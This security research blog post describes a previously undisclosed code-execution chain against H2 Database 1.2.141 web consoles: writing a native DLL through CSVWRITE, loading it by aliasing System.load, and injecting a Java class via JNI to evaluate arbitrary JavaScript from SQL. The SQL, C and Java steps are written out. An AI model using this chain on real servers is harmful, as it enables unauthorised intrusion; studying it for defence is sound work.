Aug 1, 2019

Exploiting H2 Database with native libraries and JNI

This was originally posted on blogger here.

Techniques to gain code execution in an H2 Database Engine are already well known but require H2 being able to compile Java code on the fly. This blog post will show a previously undisclosed way of exploiting H2 without the need of the Java compiler being available, a way that leads us through the native world just to return into the Java world using Java Native Interface (JNI).


Last week, the blog post Jackson gadgets - Anatomy of a vulnerability by Andrea Brancaleoni of Doyensec was published. It describes how a setter-based vulnerability in the Jackson library can be exploited if the libraries of Logback and H2 Database Engine are available. In short, it exploits the feature of H2 to create user defined functions with Java code that get compiled on the fly using the Java compiler.

But what if the Java compiler is not available? This was the exact case in a recent engagement where a H2 Dabatase Engine instance version 1.2.141 on a Windows system was exposing its web console. We want to walk you through the journey of finding a new way to execute arbitrary Java code without the need of a Java compiler on the target server by utilizing native libraries (.dll or .so) and the Java Native Interface (JNI).

Assessing the capabilities of H2

Let’s assume the CREATE ALIAS … AS … command cannot be used as the Java compiler is not available. A reason for that may be that it’s not a Java Development Kit (JDK) but only a Java Runtime Environment (JRE), which does not come with a compiler. Or the PATH environment variable is not properly set up so that the Java compiler javac cannot be found.

However, the CREATE ALIAS … FOR … command can be used:

When referencing a method, the class must already be compiled and included in the classpath where the database is running. Only static Java methods are supported; both the class and the method must be public.

So every public static method can be used. But in the worst case, only h2-1.2.141.jar and JRE are available. And additionally, only supported data types can be used for nested function calls. So, what is left?

While browsing the candidates in the Java runtime library rt.jar, the System.load(String) method stood out. It allows the loading of a native library. That would instantly allow code execution via the library’s entry point function.

But how can the library be loaded to the H2 server? Although Java on Windows supports UNC paths and fetches the file, it refuses to actually load it. And this also won’t work on Linux. So how can one write a file to the H2 server?

Writing arbitrary files with H2

A brief look into the H2 functions reference shows that there is a FILE_WRITE function. Unfortunately, FILE_WRITE was introduced in 1.4.190. So we better only check those functions that are available in 1.2.141. The CSVWRITE function is the only one with “write” in its name.

A quick test showed that the CSV column header also gets printed. Looking at the CSV options showed that there is a writeColumnHeader option to disable writing the column header. Unfortunately, the writeColumnHeader option was only added with 1.3/1.4.177.

But while looking at the other supported options fieldSeparator, fieldDelimiter, escape, null, and lineSeparator, there came an idea: what if we blank them all out and use the CSV column header to write our data? And if the H2 database engine allows columns to have arbitrary names with arbitrary length, we were be able to write arbitrary data.

Looking at H2’s grammar for columns, the columnName of a column can be a quoted name, which is defined as:

" anything "

Quoted names are case-sensitive, and can contain spaces. There is no maximum name length. Two double quotes can be used to create a single double quote inside an identifier.

That sounds almost perfect. So let’s see if we can actually put anything in it and if CSVWRITE is binary-safe.

First, we generate our test data that covers all 8-bit octets:

$ python -c 'import sys;[sys.stdout.write(chr(i)) for i in range(0,256)]' > test.bin
$ sha1sum test.bin
4916d6bdb7f78e6803698cab32d1586ea457dfc8  test.bin

Now we generate a series of CHAR(n) function calls that will generate our binary data in the SQL query:

xxd -p -c 256 test.bin | sed -e 's/../),CHAR(0x&/g' -e 's/^),//' -e 's/$/)/' -e 's/CHAR(0x22)/&,&/g'

We then use it in the following CSVWRITE call:

SELECT CSVWRITE('C:\Windows\Temp\test.bin', CONCAT('SELECT NULL "', … , '"'), 'ISO-8859-1', '', '', '', '', '') ;

Finally, we test if the written file has the same checksum:

C:\Windows\Temp> certutil -hashfile test.bin SHA1
SHA1 hash of file test.bin:
49 16 d6 bd b7 f7 8e 68 03 69 8c ab 32 d1 58 6e a4 57 df c8
CertUtil: -hashfile command completed successfully.

So, the files seem to be identical!

Entering the native world

Now that we can write a native library to disk using the built-in function CSVWRITE and load it by creating an alias for System.load(String), we just could use the library’s entry point to achieve code execution.

But let’s take another it step further. Let’s see if there is a way to execute arbitrary commands/code from SQL. Not just once the native library gets loaded, but as we like, possibly even with feedback that we can see in the H2 Console.

This is where the Java Native Interface (JNI) comes in. It allows the interaction between native code and the Java Virtual Machine (JVM). So in this case it would allow us to interact with JVM where the H2 Database is running.

The idea now is to use JNI to inject a custom Java class into the running JVM via ClassLoader.defineClass(byte[], int, int). That would allow us to create an alias and call it from SQL.

Calling into the JVM with JNI

First we need to get a handle to the running JVM. This can be done with the JNI_GetCreatedJavaVMs function. Then we attach the current thread to the VM and obtain a JNI interface pointer (JNIEnv). With that pointer we can interact with the JVM and call JNI functions such as FindClass, GetStaticMethodID/GetMethodID> and CallStatic<Type>Method/Call<Type>Method. The plan is to get the system class loader via ClassLoader.getSystemClassLoader() and call defineClass on it:

// xxd -p -c 10000 bin/JNIScriptEngine.class | sed -e 's/../0x&,/g' -e 's/^/char buf[] = {/' -e 's/,$/};/'
// public static JNIScriptEngine.eval(String js) : String
char buf[] = { /* ... */ };
size_t bufLen = sizeof(buf);

jbyteArray jData = (*g_env)->NewByteArray(g_env, bufLen);
(*g_env)->SetByteArrayRegion(g_env, jData, 0, bufLen, (jbyte*)buf);

JNIEnv * g_env;
JavaVM* g_vm;
jsize num_vms = 0;

jint result = JNI_GetCreatedJavaVMs(&g_vm, 1, &num_vms);
int getEnvStat = (*g_vm)->GetEnv(g_vm, (void **)&g_env, JNI_VERSION_1_6);
if (getEnvStat == JNI_EDETACHED) {
	// printf("GetEnv: not attached\n");
	if ((*g_vm)->AttachCurrentThread(g_vm, (void **) &g_env, NULL) != 0) {
		// printf("Failed to attach\n");
} else if (getEnvStat == JNI_OK) {
	// printf("GetEnv: everything's fine\n");
} else if (getEnvStat == JNI_EVERSION) {
	// printf("GetEnv: version not supported\n");

jclass cls;
jmethodID meth;
jobject obj;

cls = (*g_env)->FindClass(g_env, "java/lang/ClassLoader");

// static java.lang.ClassLoader.getSystemClassLoader() : java.lang.ClassLoader
meth = (*g_env)->GetStaticMethodID(g_env, cls, "getSystemClassLoader", "()Ljava/lang/ClassLoader;");
jobject systemClassLoader = (*g_env)->CallStaticObjectMethod(g_env, cls, meth);

// java.lang.ClassLoader.defineClass(byte[], int, int) : java.lang.Class
meth = (*g_env)->GetMethodID(g_env, cls, "defineClass", "([BII)Ljava/lang/Class;");

jobject loadedClass = (*g_env)->CallObjectMethod(g_env, systemClassLoader, meth, jData, 0, (jint)bufLen);

(*g_env)->DeleteLocalRef(g_env, jData);

This basically mimics the following Java code:

Class cls = Class.forName("java.lang.ClassLoader");
Method meth = cls.getDeclaredMethod("getSystemClassLoader", new Class[0]);
Object systemClassLoader = meth.invoke(null, new Object[0]);

meth = cls.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
meth.invoke(systemClassLoader, new Object[] { jData, 0, jData.length });

The custom Java class JNIScriptEngine has just one single public static method that evaluates the passed script using an available ScriptEngine instance:

public class JNIScriptEngine {
	public static String eval(String script) throws Exception {
		return new javax.script.ScriptEngineManager().getEngineFactories().get(0).getScriptEngine().eval(script).toString();

Finally, putting everything together:

-- write native library
SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', ... , '"'), 'ISO-8859-1', '', '', '', '', '');

-- load native library
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');

-- evaluate script
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('7*191');

That way we can execute arbitrary JavaScript code from SQL.